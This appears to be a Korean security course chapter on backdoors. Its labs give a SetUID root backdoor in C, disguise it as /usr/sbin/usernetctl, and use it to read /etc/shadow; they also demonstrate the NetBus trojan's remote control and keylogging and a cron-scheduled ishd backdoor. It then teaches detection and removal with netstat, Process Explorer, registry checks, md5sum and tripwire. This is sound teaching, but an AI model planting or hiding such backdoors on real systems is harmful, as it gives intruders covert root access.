9 백도어
학습목표 내용 백도어의 종류를 이해한다. 운영체제에 따른 백도어의 종류를 파악하고, 이를 이용할 수 있다. 백도어를 탐지하고 제거할 수 있다. 백도어에 대한 보안 대책을 수립하고, 이를 수행할 수 있다. 내용 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어 탐지와 대응책
백도어에 대한 이해 백도어와 트로이 목마 트로이 목마 : 사용자가 의도치 않은 코드를 정상적인 프로그램에 삽입한 프로그램 스파이웨어(Spyware) : 설치된 시스템의 정보를 주기적으로 원격지의 특정한 서버에 보내는 프로그램 백도어 : 원래 의미는 운영체제나 프로그램을 생성할 때 정상적인 인증 과정을 거치지 않고, 운영체제나 프로그램 등에 접근할 수 있도록 만든 일종의 통로, Administrative hook이나 트랩 도어(Trap Door)라고도 부름
백도어에 대한 이해 백도어의 종류 로컬 백도어 : 서버의 셸을 얻어내 관리자로 권한 상승(Privilege Escalation)할 때 사용 원격 백도어 : 계정에 패스워드 입력하고 로그인한 것처럼 원격으로 관리자 권한 획득해 시스템에 접근, 네트워크에 자신의 포트를 개방 패스워드 크래킹 백도어 : 인증에 필요한 패스워드를 원격지 공격자에게 보내주는 역할 시스템 설정 변경 백도어 : 시스템 설정을 해커가 원하는 대로 변경하기 위한 툴 트로이 목마 형태의 프로그램 : 처음부터 백도어를 목적으로 만들어진 것은 아니지만 백도어로 동작하는 경우, 윈도우에서는 웹 브라우저나 명령 창, 간단한 게임 등도 백도어와 섞을 수 있다. 이런 백도어를 실행하면 원하는 프로그램이 실행되면서 동시에 백도어도 설치. 해커가 배포되는 프로그램에 배포 사이트 크랙, 정상적인 프로그램을 백도어를 설치한 프로그램으로 바꿔치기 거짓 업그레이드 : 시스템을 패치하거나 업그레이드할 때 잘못된 프로그램 설치
실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 백도어 생성 백도어의 인수(argv[1])를 system 명령으로 실행하는 간단한 형태 SetUID 비트에 설정과 실행 권한 부여 1 gcc -o backdoor backdoor.c chmod 4755 backdoor backdoor.c #include <stdio.h> main (int argc, char *argv[]){ char exec[100]; setuid (0); setgid (0); sprintf (exec, "%s 2>/dev/null ", argv[1]); system (exec); }
실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 백도어 동작 “ ”안의 명령을 실행해주는 단순한 프로그램 [그림 9-2] 백도어를 이용한 ls 명령 수행 2 ./backdoor "ls"
실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 id 명령 실행 : 일반 계정 사용해도 uid, gid가 0, 즉 관리자 계정으로 출력 passwd 파일은 wishfree와 같이 일반 계정이 읽을 수 있는 권한 없음 SetUID 비트를 가지고 있는 backdoor 파일을 통해 passwd 파일 조회 시 다음과 같이 출력 [그림 9-3] backdoor를 이용한 관리자 소유의 /etc/passwd 파일 내용 읽기 ./backdoor "id" ./backdoor "cat /etc/passwd"
실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 [그림 9-4] 아무런 인수 없이 실행된 backdoor ./backdoor
실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 백도어 숨기기 바꿔치기에 적합한 대상 찾기 [그림 9-5] find 명령으로 찾은 권한이 4755인 파일들 일반적으로 거의 사용되지 않는 프로그램을 바꿔치기 할 대상으로 선택 ( /usr/sbin/usernetctl) 실행 백도어 프로그램 실행 시 위와 똑같이 실행되도록 속일 수 있는 백도어 더 만들기 바꾸기 바꾼 백도어 이용(관리자만 읽기 권한이 있는 shadow 파일 읽기 가능) 3 find / -perm 4755
실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 일반적으로 거의 사용되지 않는 프로그램을 바꿔치기 할 대상으로 선택 ( /usr/sbin/usernetctl) 실행 [그림 9-6] 백도어로 사용할 usernetctl 명령 실행 /usr/sbin/usernetctl
실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 백도어 프로그램 실행 시 위와 똑같이 실행되도록 속일 수 있는 백도어 더 만들기 [그림 9-7] usernetctl 명령과 같은 결과로 출력되도록 변경한 backdoor2 실행 결과 바꾸기 [그림 9-8] backdoor2 파일을 usernetctl로 바꾸기 printf ("usage: usernetctl <interface-config> <up|down|report>\n"); ./backdoor2 mv ./backdoor2 /usr/sbin/usernetctl
실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 바꾼 백도어 이용(관리자만 읽기 권한이 있는 shadow 파일 읽기 가능) [그림 9-9] 백도어로 바꾼 usernetctl를 이용한 /etc/shadow 파일 읽기 /usr/sbin/usernetctl "cat /etc/shadow"
실습 9-2 윈도우 백도어 설치하고 이용하기 NetBUS 서버 설치 NetBUS 파일의 구성 Patch.exe 더블클릭해 설치 NetBus.exe : 클라이언트 프로그램 Patch.exe 더블클릭해 설치 Patch.exe : 자신을 C:/Windows 밑에 복사, 레지스트리(HKEY _LOCAL_MACHINE /SOFTWARE/Microsoft/Windows/CurrentVersion/Run)에 자신 등록 시스템 시작될 때 자동으로 실행 NetBUS 서버 제거 시 C:/Windows 밑의 patch 파일 삭제, 레지스트리에 등록 값 삭제 1
실습 9-2 윈도우 백도어 설치하고 이용하기 NetBUS 클라이언트를 이용한 접속 NetBUS 클라이언트를 이용 NetBUS 서버에 접속하려면 NetBUS.exe 실행 [그림 9-10] NetBUS 클라이언트 인터페이스 2 ➋ ➊ ➌ 13 ➍ ➏ ➓ ➎ ➑ 11 ➒ ➐ 12
실습 9-2 윈도우 백도어 설치하고 이용하기 ➊ Host name / IP : NetBUS 서버가 설치된 시스템의 IP와 포트 번호 입력 <Connect> 버튼 누르면 NetBUS 서버와 연결 ➋ Server admin : 공격 대상 시스템에 설치된 서버에 대한 접근 제어 설정 [그림 9-11] NetBUS 서버에 대한 접근 권한 설정 ➌ Open CD-ROM : 공격보다는 공격 대상 시스템을 사용하고 있는 사용자를 놀림 이 버튼을 누르면 상대방의 시스템의CD-ROM이 열렸다가 닫힘
실습 9-2 윈도우 백도어 설치하고 이용하기 ➍ Start program : 원격지의 프로그램 실행할 때 사용 [그림 9-12] 공격 대상 시스템의 탐색기 실행 ➎ Msg manager : 공격자 시스템에 메시지 창을 띄워 임의의 정보를 알림 [그림 9-13] 공격 대상 시스템에 메시지 전송 [그림 9-14] 공격 대상 시스템에 전송된 메시지 C:\Windowns\explorer.exe
실습 9-2 윈도우 백도어 설치하고 이용하기 ➏ Exit Windows : 로컬의 [시작]-[시스템 종료] 기능처럼 시스템 종료 ➐ Active wnds : 공격 대상 시스템에서 현재 실행되고 있는 프로그램의 목록 보여줌 이 중 임의의 프로그램 중지 가능 [그림 9-15] 공격 대상 시스템에 실행 중인 프로그램 ➑ Mouse pos : 마우스 포인터를 원하는 임의의 위치로 이동
실습 9-2 윈도우 백도어 설치하고 이용하기 ➒ Listen : 상대방이 키보드로 입력하는 모든 값을 공격자의 시스템으로 전달 [그림 9-16] 공격 대상 시스템의 메모장에 입력한 글자 [그림 9-17] 공격자 시스템 화면에 출력되는 글자 ➓ Server setup : NetBUS 서버가 설치된 시스템에서 동작하는 Patch.exe로 열어둔 포트 변경, 접속에 패스워드가 필요하도록 설정 [그림 9-18] 공격 대상 시스템에 설치된NetBUS 서버의 설정 창 Control mouse : 상대방의 마우스를 사용하지 못하게 하고 공격자가 마우스를 움직이는 대로 상대방 시스템의 마우스 포인터가 움직이도록 함 11
실습 9-2 윈도우 백도어 설치하고 이용하기 Key manager : 특정 키보드나 모든 키보드가 동작하지 않도록 설정 임의의 키가 눌린 것처럼 키 값을 입력 가능 [그림 9-19] 공격 대상 시스템에 임의의 키를 사용 중지하는 설정 Scan : NetBUS가 설치된 시스템 검색 [그림 9-20] NetBUS 서버가 설치된 시스템 검색 12 13
실습 9-2 윈도우 백도어 설치하고 이용하기 백도어 은닉 Joiner와 Blinder로, 하나 이상의 실행 파일(exe)을 하나로 만드는 기능 [그림 9-21] Joiner를 이용한 두 실행 파일의 혼합 3
리눅스/유닉스 백도어 http 데몬이 root 계정으로 운영되는 서버에 웹으로 접속 시 root 권한으로 nobody 계정으로 웹에 접속 시 nobody 권한으로 시스템에 자료 요청 백도어를 이용하는 외부 침투자도 시스템에서 백도어를 실행한 사용자 권한으로 시스템에 침투 커널 백도어 : 운영체제의 핵심 부분인 커널에 심어 넣는 백도어, 민감하고 난이도 높음 큰 차이는 없으며 커널에서 동작하기 때문에 일반 백도어보다 더 강력 제거하기 어렵고 설치 작업이 까다로움 리눅스에서 백도어 동작 통제 : cron 같은 스케줄러 이용
실습 9-3 자동 실행형 백도어 설치하고 이용하기 cron 데몬 : 일정 시간이 되면 자체적으로 프로그램 실행, 중지하는 스케줄러 cron 데몬 이해하기 [그림 9-23] /etc/crontab 파일의 내용 1 vi /etc/crontab
실습 9-3 자동 실행형 백도어 설치하고 이용하기 앞의 숫자, * 3개 : 해당 프로그램이 실행될 시간으로, 각각 분, 시, 날짜, 달, 요일 모두 *이므로 날짜, 달, 요일에 관계없이 매일 04시 02분에 실행. ‘30 16,17 5-7 */2 * reboot’는 2개월마다(*/2) 5일부터 7일까지(5-7) 16시와 17시(16,17) 30분에 재부팅 하라는 의미 [표 9-1] crontab 파일의 시간 관련 설정 값 02 4 * * * root run-parts /etc/cron.daily 필드 사용할 수 있는 값 분 0∼59 시 0∼23 날짜 1∼31 달 1∼12 : 달 이름 사용 가능 요일 0 ∼ 7 : 요일 이름 사용 가능 (0과 7은 일요일을 가르킴)
실습 9-3 자동 실행형 백도어 설치하고 이용하기 ishd 백도어 컴파일 ishd 백도어 툴을 다음과 같이 간단히 설치 클라이언트는 다음과 같이 실행 cron 데몬을 이용한 백도어의 구동과 중지 ishd 데몬이 매일 새벽 4∼5시에 구동되므로 공격자는 이 시간에만 접속 시도 2 tar xvf ish-v0.2.tar.gz make linux ./ishd ./ish [서버의 IP 주소] 3 0 4 * * * ./ishd -i 65000 0 5 * * * pkill -U root ishd
백도어 탐지와 대응책 현재 동작중인 프로세스 확인 현재 프로세스를 확인하여 백도어가 아닌 정상 프로세스를 아는 것도 매우 중요 윈도우에서 Ctrl+Alt+Delete로 Windows 작업 관리자에서 실행 중인 프로세스 확인 Csrss.exe(Client/Server Runtime SubSystem : Win 32) : 윈도우 콘솔 관장 스레드 생성/삭제 32비트 가상 MS-DOS 모드 지원 Explorer.exe : 작업 표시줄, 바탕 화면 같은 사용자 셸 지원 Lsass.exe(Local Security Authentication Server) : Winlogon 서비스에 필요한 인증 Smss.exe(Session Manager SubSystem) : 사용자 세션 시작 기능, Winlogon, Win32(Csrss.exe)을 구동, 시스템 변수 설정, Smss는 Winlogon이나 Csrss가 끝나기를 기다려 정상적인 Winlogon, Csrss 종료시 시스템 종료 Spoolsv.exe(Printer Spooler Service) : 프린터와 팩스의 스풀링 기능 Svchost.exe(Service Host Process) : DLL(Dynamic Link Libraries)에 의해 실행되는 프로세스의 기본 프로세스, 한 시스템에서 svchost 프로세스 여러 개 볼 수 있음 Services.exe(Service Control Manager) : 시스템 서비스 시작/정지, 그들 간의 상호 작용하는 기능 수행 System : 대부분 커널 모드 스레드의 시작점
백도어 탐지와 대응책 무결성 검사 열린 포트 확인 SetUID 파일 검사 바이러스와 백도어 탐지 툴 이용 백도어 상당수가 외부와 통신 위해 서비스 포트 생성 시스템에서는 netstat 명령으로 열린 포트 확인 일반 시스템에서 사용되는 포트는 그리 많지 않으므로 주의해 살펴보면 백도어가 사용하는 포트 쉽게 확인 가능 SetUID 파일 검사 SetUID 파일 : 리눅스나 유닉스 시스템에서 로컬 백도어로서 강력한 기능 함. SetUID 파일 중에 추가, 변경된 것은 없는지 주기적으로 살펴야 함 바이러스와 백도어 탐지 툴 이용 잘 알려진 백도어는 대부분 바이러스 일종으로 분류, 백신 툴이나 탐지 툴에 발견 무결성 검사 시스템에 어떤 변화가 일어나는지 알아보는 것. MD5 해시 기법 많이 사용 파일 내용이 조금만 바뀌어도 MD5 해시 결과 값이 다르므로 관리자는 주요 파일의 MD5 값을 주기적으로 수집, 검사하여 파일의 변경 내역을 확인
9-4 윈도우 백도어 탐지하고 제거하기 ` ` 대부분 백도어는 웜을 통해 PC에 설치 백신 툴 없이 백도어 존재여부를 확인/제거 하는 방법 시스템에서는 netstat 명령으로 열린 포트 확인 백도어에 대응하는 기본적인 작업 : 탐지, 제거 백도어 실행 ‘Win-Trojan.Peamor.416768.zip’파일의 압축 풀어 더블클릭 실행 포트 확인- fport fport 프로그램 이용, 각 포트에 대한 프로그램의 위치와 이름 확인 ` 1 ` 2 fport
9-4 윈도우 백도어 탐지하고 제거하기 6749포트 서비스 데몬에 IEXPLORE.EXE 있음 [그림 9-25] fport 실행 결과 6749포트 서비스 데몬에 IEXPLORE.EXE 있음 IEXPLORE.EXE는 기본적으로 웹 브라우징 위한 클라이언트 프로그램 서비스 데몬을 열고 있는 경우는 비정상
9-4 윈도우 백도어 탐지하고 제거하기 ` 프로세스 확인 - Process Explorer fport에서 확인한 IEXPLORE.EXE의 프로세스를 Process Explorer를 통해 확인 fport에서 확인한 프로세스의 pid는 2716번 pid 972, 1012로 확인되는 IEXPLORER와 유사 Private Bytes와Working Set의 메모리 사용량에 현격한 차이 [그림 9-26] IEXPLORER(pid : 2716) 프로세스 확인 ` 3
9-4 윈도우 백도어 탐지하고 제거하기 비정상 IEXPLORER는 Parent가 <Non-existent Process> 이 프로세스와 관련해 Process Explorer를 살펴보면 아래 창에서‘C:\Windows\system.exe’파일 실행되는 것을 확인 [그림 9-27] 정상 IEXPLORER 프로세스 [그림 9-28] 비정상 IEXPLORER(pid : 2716) 프로세스
9-4 윈도우 백도어 탐지하고 제거하기 Process Explorer에서 Ctrl+F7로 탐색 창을 열어 system.exe 검색 → iexplore.exe와 calc.exe 파일 검색 [그림 9-29] system.exe와 연관된 프로세스 확인 calc.exe : Process Explorer에서 확인하면 iexplore.exe의 하위 프로세스로 실행되는 경우도 있지만 정상 calc.exe 프로세스로 보이지는 않는다. Process Explorer에서 iexplore.exe의 프로세스를 중지하면 잠시 후 iexplore.exe가 자동으로 재실행
9-4 윈도우 백도어 탐지하고 제거하기 [그림 9-30] iexplore.exe와 calc.exe 프로세스 확인과 중지 calc.exe 프로세스 중지 :calc.exe와 iexpore.exe는 서로 모니터링하고 있다가 중지되면 서로 되살려줌. 해당 프로세스를 중지하려면 짧은 시간 안에 둘 모두 중지해야 함.
9-4 윈도우 백도어 탐지하고 제거하기 ` 레지스트리 확인 윈도우 시스템은 시스템의 운영과 관련해 재부팅되도 기본 설정 값이 변하지 않도록 레지스트리에 여러 값 기록 백도어도 주로 레지스트리 이용, 백도어 삭제 시에는 레지스트리도 내용 확인해야 함 레지스트리 편집기에서 [파일]-[내보내기] 메뉴 선택, 레지스트리를 txt 파일로 내보냄 메모장에서 열어 system.exe 파일 찾으면 검색 결과 없음 system.exe의 아스키 값은 73,79,73,74,65,6d,2e,65,78,65 레지스트리에서는 유니코드 형태(1글자당 2바이트)로 저장, 중간에 00을 추가하여, 73,00,79,00,73,00,74,00,65,00, 6d,00,2e,00,65,00,78,00,65,00로 검색, 레지스트리 파일에서 해당 내용 확인 [그림 9-31] 레지스트리에서 system.exe 확인 ` 4
9-4 윈도우 백도어 탐지하고 제거하기 경로[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Run Service] 시스템 부팅할 때마다C:\Windows\system.exe 파일 서비스로 실행되도록 레지스트리에 등록 [그림 9-32] 레지스트리 편집기에서 system.exe 확인
9-4 윈도우 백도어 탐지하고 제거하기 파일 확인 total commander 툴 사용 백도어 실제 파일 확인 윈도우 탐색기는 윈도우 운영체제와 많은 라이브러리 공유, 윈도우 탐색기가 공격 대상이 되면 윈도우 탐색기 사용 불가. 또한 윈도우 탐색기로 특정 파일이 숨겨지거나 삭제되지 않게 되 있는 경우도 있다. 이런 제약적 상황 때문에 윈도우와 상관없이 독립적으로 동작하는 파일 탐색기인 total commander 유용하게 사용 total commander 이용 백도어 확인 전 설정 할 사항 [환경설정]-[옵션]-[화면]에서‘숨김/시스템 파일 표시’옵션 설정 [그림 9-33] ‘숨김/시스템 파일 표시’옵션 설정 5
9-4 윈도우 백도어 탐지하고 제거하기 [명령]-[파일 찾기] 메뉴 이용 system.exe 검색, 우선 파일명으로 검색 system.exe 파일이 C:\와 C:\Windows에 각각 존재 두 파일 모두 백도어로 iexplore.exe와 calc.exe 프로세스가 서로 보완적인 역할을 하듯 한쪽이 삭제되면 다른 쪽을 기반으로 서로 재복사 검색할때 system.exe 파일에 추가 문자열이 포함된 경우도 있으므로 *system.exe, *system*.exe와 같이 검색 C:\Windows\system32\_system.exe 파일 확인 C:\Windows\system32는 백도어 공격에서 대부분 기본 디렉터리기 때문에 별도로 확인 system.exe 파일의 실행과 관련한 다른 설정 파일 확인 위해 문자열 포함 검색 C:\autorun.inf 파일검색 [그림 9-34] system.exe 파일명으로 검색 [그림 9-35] system.exe 문자열로 검색
9-4 윈도우 백도어 탐지하고 제거하기 C:\autorun.inf 파일 열기, system.exe 실행과 관련된 설정 파일임을 확인 검색은 파티션별로 모두 수행 [그림 9-36] C:\autorun.inf 파일 확인
9-4 윈도우 백도어 탐지하고 제거하기 백도어 제거 ➊ 백도어 프로세스의 중지 ➋ 백도어 파일의 삭제 ➌ 레지스트리 삭제 백도어 프로세스 중지 [그림 9-37] 백도어 중지 6
9-4 윈도우 백도어 탐지하고 제거하기 항상‘Kill Process Tree’ 이용 프로세스 중지 검색을 통해 확인된 백도어 관련 파일 삭제 드라이브 루트가 있는 system.exe와 Autorun.inf 파일 삭제 [그림 9-38] C, D 드라이브의 AutoRun.inf, system.exe 파일 삭제
9-4 윈도우 백도어 탐지하고 제거하기 C:\Windows\system.exe와 C:\Windows\system32\_system.exe 파일 삭제 [그림 9-39] 시스템 디렉터리의 system.exe 파일 삭제 마지막으로 레지스트리 삭제
9-4 윈도우 백도어 탐지하고 제거하기 기타 관련 사항 - promiscuous 모드 백도어는 일반적으로 원격의 공격자와 통신을 위해 특정 포트 사용하지만, 특정 포트 사용 않는 경우도 있음, 대신 네트워크 인터페이스를 스니핑할 때와 똑같은 promiscuos모드로 운영 패킷이 포트나 IP와 관계없이 시스템에 도달 자신의 시스템에 대한 promiscuous 모드 탐지는 : promiscdetect 툴 이용 백도어가 설치된 시스템에서 promiscuous 모드로 네트워크 인터페이스가 설정된 경우 promiscuous 모드 여부 확인 7 promiscdetect
9-4 윈도우 백도어 탐지하고 제거하기 [그림 9-40] promiscdetect를 이용한 스니핑 모드 확인
9-4 윈도우 백도어 탐지하고 제거하기 시스템 무결성 검사 중요 시스템이나 디렉터리는 무결성 점검 툴 이용 주기적으로 점검 윈도우에서는 SFC(System File Checker) 기본 제공 [그림 9-41] sfc 명령 실행 결과 8 sfc
9-4 윈도우 백도어 탐지하고 제거하기 실제 스캔은 ‘sfc /SCANNOW’명령 통해 수행 sfc /SCANNOW
9-4 윈도우 백도어 탐지하고 제거하기 sfc는 주로 DLL 파일에 대한 사항만 점검,원하는 파일 임의 지정 못함 MD5SUM 툴 사용 한번에 대량의 파일을 빠른 시간에 테스트 MD5 해시 값을 test.md5 파일에 저장하도록 명령 실행 이 툴은 하위 디렉터리에 대해 디렉터리별로 md5 해시 값을 구할 수 없으므로 각 개별 디렉터리별로 실행 [그림 9-43] md5sum을 이용한 md5 해시 값 생성 md5sum *.* > test.md5 type test.md5
9-4 윈도우 백도어 탐지하고 제거하기 test.md5 파일에 저장한 뒤, 파일 몇 개를 변경한 후 변경에 대한 검사 실시 5개 중 3개의 파일 변경 [그림 9-44] md5sum을 이용해 변경된 파일 확인 md5sum -c test.md5
9-5 리눅스 백도어 탐지하고 제거하기 프로세스 확인 ‘ps-ef ’명령으로 시스템의 셸과 프로세스 소유자에 관계없이 모든 프로세스 확인 [그림 9-45] ‘ps -ef’명령 실행 1 ps -ef
9-5 리눅스 백도어 탐지하고 제거하기 열린 포트 확인 : 윈도우와 같음 netstat -an 2
9-5 리눅스 백도어 탐지하고 제거하기 SetUID 파일 검사 find 명령 이용 시스템에서 SetUID, SetGID가 부여된 파일 검색 [그림 9-47] find 명령으로 SetUID가 부여된 파일 검색 3 find / -perm +4000
9-5 리눅스 백도어 탐지하고 제거하기 백도어 탐지 툴 이용 리눅스에서는 백도어 탐지 툴 발전 미흡 커널형 백도어는 이런 방법으로 탐지하기 어려워 chkrootkit 등과 같은 툴 이용해야 함 윈도우에서는 SFC(System File Checker) 기본 제공 무결성 검사 : 윈도우처럼 md5sum 툴 이용 백도어의 삭제 ‘ps -kill’명령 통해 해당 프로세스 중지, 해당 백도어 파일 삭제로 완료SetUID 파일 검사 find 명령 이용 시스템에서 SetUID, SetGID가 부여된 파일 검색 4 5 6
9-6 tripwire를 이용한 무결성 검사하기 설치하기 tripwire는 페도라 14에서 yum으로 설치 [그림 9-48] tripwire 설치 패키지 확인 1 yum list tripwire
9-6 tripwire를 이용한 무결성 검사하기 yum install tripwire.i686
9-6 tripwire를 이용한 무결성 검사하기 패키지 설치 후에는 초기화 과정 필요 tripwire의 설정 파일은 임의의 사용자에 의해 검사 값이나 정책 등이 변경되지 못하도록 암호화되어 저장 암호화된 파일 등을 복호화하,변경하는 데 필요한 일종의 패스워드 먼저 설정 [그림 9-50] tripwire 패스워드 초기화 프로그램 실행 /usr/sbin/tripwire-setup-keyfiles
9-6 tripwire를 이용한 무결성 검사하기 passphrase로 패스워드 입력 패스워드는 ‘site keyfile passphrase’, ‘local keyfile passphrase’ 입력 [그림 9-51] ‘local keyfile passphrase’의 생성
9-6 tripwire를 이용한 무결성 검사하기 /etc/tripwire 디렉터리에는 tripwire와 관련된 설정 파일, key 파일 및 정책 파일 저장 [그림 9-52] /etc/tripwire에 저장된 key 파일 tw.pol과 tw.cfg : tripwire 관련 설정 파일, 암호화되어 있음, 기본설정 내용은 twcfg.txt와 twpol.txt 파일을 기본 만들어짐 twpol.txt : 해당 시스템에 대한 무결성 검사 목록 저장 파일, 시스템에 최적화 2
9-6 tripwire를 이용한 무결성 검사하기 tw.pol과 tw.cfg : tripwire 관련 설정 파일, 암호화되어 있음, 기본설정 내용은 twcfg.txt와 twpol.txt 파일을 기본 만들어짐 [그림 9-53] /etc/tripwire/twcfg.txt 파일 내용 cat /etc/tripwire/twcfg.txt
9-6 tripwire를 이용한 무결성 검사하기 twpol.txt : 해당 시스템에 대한 무결성 검사 목록 저장 파일, 시스템에 최적화 [그림 9-54] /etc/tripwire/twpol.txt 파일 내용 cat /etc/tripwire/twpol.txt
9-6 tripwire를 이용한 무결성 검사하기 3 /usr/sbin/tripwire -m i
9-6 tripwire를 이용한 무결성 검사하기 tripwire 설치하면 매일 자동으로 cron 데몬에 실행 관리자가 임의로 --check옵션을 주어 실행 할 수도 있음 [그림 9-56] tripwire를 이용한 무결성 검사 4 tripwire --check 59
9-6 tripwire를 이용한 무결성 검사하기 작성된 보고서는 /var/lib/tripwire/report 경로에 저장 [그림 9-57] tripwire로 생성된 보고서 읽기 twprint -m r --twrfile [보고서 파일.twr] 60
9-6 tripwire를 이용한 무결성 검사하기 백도어에 대한 가장 좋은 대응책 최초의 권한 획득 불허 지속적인 보안 점검과 보안 : 한번 설치된 백도어는 재설치 가능, 지속적 문제 발생 61